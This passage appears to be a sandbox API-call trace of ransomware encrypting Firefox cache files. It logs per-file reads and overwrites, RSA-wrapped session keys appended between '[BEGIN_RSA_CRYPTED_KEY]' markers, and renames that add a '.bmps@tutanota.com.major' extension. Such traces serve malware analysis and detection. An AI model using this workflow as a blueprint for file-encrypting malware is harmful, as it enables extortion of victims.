lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.071] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0259.071] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0259.071] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0259.071] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="TNyfYsHi+VR1yuh+ZOpEkijkUV/Y2Pkf1rCoC8VnUwoKXx4DrUuI/1u9opffS91k\nJjRAcqrrbSiC/xY4x5zNamUqjxAoLvLlRRCpXL6K+txK26zIAWVgtJmv4pZDRziw\nPrXqWcV4QR3IqqhtbdacIqeTdzbz4Z0ZB5imahVeK8HUnxa0jF95r0cOINMVLlnW\n3LXGNYSkKVJrmG6tUuZl9ptlSEBErXoJ5POl0bz+bZL0YaILUoXTYlR2ajZHUMx+\nIJIjnpS6WuzIsww9UsqRMhp5llV55jLzrYEn0ZaypUppE8FIRN9ABt83CipH+Udz\nwTlUf0DevpKQFalmWb75Cw==\n", pcchString=0x2e3f9a8) returned 1 [0259.071] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0259.072] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.072] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.072] CloseHandle (hObject=0x1b84) returned 1 [0259.072] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9EABD98B2F7F56D2095F76B6D0643E805CE79C6C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9eabd98b2f7f56d2095f76b6d0643e805ce79c6c"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9EABD98B2F7F56D2095F76B6D0643E805CE79C6C.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9eabd98b2f7f56d2095f76b6d0643e805ce79c6c.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0259.074] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0259.074] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9E9B7254DB86AADA6F1E1EA84F14C13DE088BFFC", dwFileAttributes=0x80) returned 1 [0259.074] ReadFile (in: hFile=0x1b84, lpBuffer=0x3441838, nNumberOfBytesToRead=0x18bc, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3441838*, lpNumberOfBytesRead=0x2e3f9b4*=0x18bc, lpOverlapped=0x0) returned 1 [0259.087] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-6332, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.087] WriteFile (in: hFile=0x1b84, lpBuffer=0x3443100*, nNumberOfBytesToWrite=0x18bc, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3443100*, lpNumberOfBytesWritten=0x2e3f9b4*=0x18bc, lpOverlapped=0x0) returned 1 [0259.088] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x18bc [0259.088] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.088] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.089] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0259.089] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0259.089] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0259.089] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="N6StB/gDnh5iSnoyzj6Ya2ktNbdsD0RoNwqGC49tlyXzyrmK0FZmgBy5DM61ycTC\nrge2GQgIdNNSMOyJCKgqgaywouZYtEsnHhYKW/fil0R9nX8/UfCFhbywbJLvr7K+\nf7YCSAdUW4TAlF8IY75EOmYM74VMJGnb3t9EiKP1mq4iP3bMNgHRtp15k8PHQjWC\n/SUnIFju+MPzqsGtbOxCzxchR1Ew6nstYR7CMVsIwyXrZ+Vdm1AZh8stXJxfAlWm\nq8ye8cQtePwD9F3gco+0B6+Rh/v22Ud/Ow+3MfhpEi1j6zUj3Bc+Bm2ECOdT1fIv\nBS1EvS/gA6Ss8GriSxguNg==\n", pcchString=0x2e3f9a8) returned 1 [0259.089] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0259.089] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.089] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.089] CloseHandle (hObject=0x1b84) returned 1 [0259.090] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9E9B7254DB86AADA6F1E1EA84F14C13DE088BFFC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9e9b7254db86aada6f1e1ea84f14c13de088bffc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9E9B7254DB86AADA6F1E1EA84F14C13DE088BFFC.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9e9b7254db86aada6f1e1ea84f14c13de088bffc.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0259.091] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0259.091] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9D89ACC2055BA7BCEC7C8A38D90EAA0F66E5501A", dwFileAttributes=0x80) returned 1 [0259.092] ReadFile (in: hFile=0x1b84, lpBuffer=0x3441838, nNumberOfBytesToRead=0xb8d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3441838*, lpNumberOfBytesRead=0x2e3f9b4*=0xb8d, lpOverlapped=0x0) returned 1 [0259.101] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2957, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.101] WriteFile (in: hFile=0x1b84, lpBuffer=0x34423d0*, nNumberOfBytesToWrite=0xb8d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x34423d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xb8d, lpOverlapped=0x0) returned 1 [0259.102] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xb8d [0259.102] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.102] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.102] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0259.102] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0259.103] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0259.103] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Ynk2nTFR596WiMWRHVg4zfrw3DGkC+jXbtlMQxZIWYt0X3AyGUJn2ygHV5a8EJ0d\n34aT8dLmAH+1BVnCoEyQ5DVcc4Q7cEjjZY0chl4WBgpD6QPJPnQ3SLKeTXGWdX0b\n3+1NSRyMDfQx4A7738HLRyY/tnAcCuq7I2jSYoE602xLYvLsTv2eDOgm2A2gRG1D\nw2PTt7domi8ao639r3eARKXETWazX+nSkEUBOI/Pr4/vZJVAhrrNIQxKQ2m5lmL5\nexT0+PVIzxFaAmwxEcNMcgWdFZYdrKqAfI8ca8ul81NMsU8rejXKAbUcubcA/oTa\noCovh3Hk7lpUNhSATukRNw==\n", pcchString=0x2e3f9a8) returned 1 [0259.103] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0259.103] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.103] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.103] CloseHandle (hObject=0x1b84) returned 1 [0259.104] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9D89ACC2055BA7BCEC7C8A38D90EAA0F66E5501A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9d89acc2055ba7bcec7c8a38d90eaa0f66e5501a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9D89ACC2055BA7BCEC7C8A38D90EAA0F66E5501A.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9d89acc2055ba7bcec7c8a38d90eaa0f66e5501a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0259.106] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0259.106] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9BC05FC50582ECA836DF8F673699D925643AF8B7", dwFileAttributes=0x80) returned 1 [0259.106] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4a0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4a0, lpOverlapped=0x0) returned 1 [0259.108] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.108] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4a0, lpOverlapped=0x0) returned 1 [0259.109] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4a0 [0259.109] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.109] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.109] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0259.109] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0259.109] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0259.110] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="TDdmwvSmAbg16klg/0gBVHMK8etG6CCsLHv73+lUnK/+NwFhoyiNUIAO5/Vm0+fO\nQwe9tWp/uzqYWJkG7hlOSnzahE4tEn+5g2+FJC1f4UrfqkCcOM+d2lHej5QkVmqr\nYbzLI07bHXEQ3nq8xABNwV1BfiQq0ug3mOdev1ggjP8YXqaYM6Au6BAhnO2ArhHH\nudH12WwY1f0jtFIZdItqAQjLPYKh+nudbJPkOb1x/ARrpz+eFdQsKCV/Nw40GSoo\nil/DGIk7guW/ANvpVFyS3ypTLR3vcDaJgeqVt6Nv5BKklnpFo+ilVac2+6gc1EsW\nLXWSY6x6AI6RYVEwMmNeDA==\n", pcchString=0x2e3f9a8) returned 1 [0259.110] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0259.110] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.110] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.110] CloseHandle (hObject=0x1b84) returned 1 [0259.111] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9BC05FC50582ECA836DF8F673699D925643AF8B7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9bc05fc50582eca836df8f673699d925643af8b7"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9BC05FC50582ECA836DF8F673699D925643AF8B7.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9bc05fc50582eca836df8f673699d925643af8b7.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0259.113] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0259.113] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9B8CA6ED6FACA328E93C5B538535EE6DC376EE6A", dwFileAttributes=0x80) returned 1 [0259.113] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4d4, lpOverlapped=0x0) returned 1 [0259.114] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.114] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x4d4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4d4, lpOverlapped=0x0) returned 1 [0259.115] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4d4 [0259.115] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.115] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.115] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0259.115] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0259.116] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0259.116] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="N+wMYU0BsHO2jr24tQcG3sMaAZree8y4+o/OKAvbz4y+J5Mp5AW/RqBOCTe42mWR\nd7MWMG1NgOBgUssuG9JParCrDmx/IsOmD7TRhHKOSRwEFx5N987JrUwm/FngTCNH\njqaaWJ+vMach2VaIwFPYTVDSqtijVbKot34bL22+8BrhqXLLN5U9/FAwal44DYKF\nX4N3Q3sXeHP4/n6inYSMrL7fBYHBsQ7f0pTuV80woaQhqEW1Tg8eUSJR8L+++x/7\nU72lfxBxTQ1kEGBWJMBPy1lSa+t0ED7bYEXdMh9ZARTxu+XmmHgTnfv8Clzt7kbd\nCfCgpqbvAcSd2y9Ovht+sw==\n", pcchString=0x2e3f9a8) returned 1 [0259.116] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0259.116] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.116] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.116] CloseHandle (hObject=0x1b84) returned 1 [0259.116] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9B8CA6ED6FACA328E93C5B538535EE6DC376EE6A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9b8ca6ed6faca328e93c5b538535ee6dc376ee6a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9B8CA6ED6FACA328E93C5B538535EE6DC376EE6A.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9b8ca6ed6faca328e93c5b538535ee6dc376ee6a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0259.118] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0259.118] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9B5DA3B08CF1A71522540B47452670E459146999", dwFileAttributes=0x80) returned 1 [0259.118] ReadFile (in: hFile=0x1b84, lpBuffer=0x3441838, nNumberOfBytesToRead=0xef7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3441838*, lpNumberOfBytesRead=0x2e3f9b4*=0xef7, lpOverlapped=0x0) returned 1 [0259.469] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.469] WriteFile (in: hFile=0x1b84, lpBuffer=0x3442738*, nNumberOfBytesToWrite=0xef7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3442738*, lpNumberOfBytesWritten=0x2e3f9b4*=0xef7, lpOverlapped=0x0) returned 1 [0259.471] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xef7 [0259.471] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.471] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.471] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0259.471] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0259.472] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0259.472] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="evewC7yYr9akdaM8I8TURyZd9nLuyaNtNUVG5g9wj8hFDDnYXefN9hOyCZQZVEna\nIXVvKP0j0OGXXt8NBRsEAMzrx/DKp5w6qjb46MkEviK63pq7ITp9s7Q0toBON/98\n7Lk2HeavVxVdS4MkJSnZLtd2nmSfCy3gLb0G0VwwD5N/UR4k55x2bx0EGFuWbS3Q\nrV4cGmnpjWsJOW6R4p2Kt3VHZYzfesosrAHNs4ajyxRp0H4RF4hvsb784OM9byui\nFZK6Ta+VTRtkYnAB7qfm3c0CppFwQgWR6l5LOp+MgLa7qvAN8GeYUnixwSgKiCxJ\nAPmQwyLymBI4phMj1eORDg==\n", pcchString=0x2e3f9a8) returned 1 [0259.472] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0259.472] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.472] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.473] CloseHandle (hObject=0x1b84) returned 1 [0259.473] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9B5DA3B08CF1A71522540B47452670E459146999" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9b5da3b08cf1a71522540b47452670e459146999"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9B5DA3B08CF1A71522540B47452670E459146999.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9b5da3b08cf1a71522540b47452670e459146999.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0259.479] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0259.479] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9A4363F96438C03AB4679CB6CFA209E8F12F1A01", dwFileAttributes=0x80) returned 1 [0259.479] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0x4828, 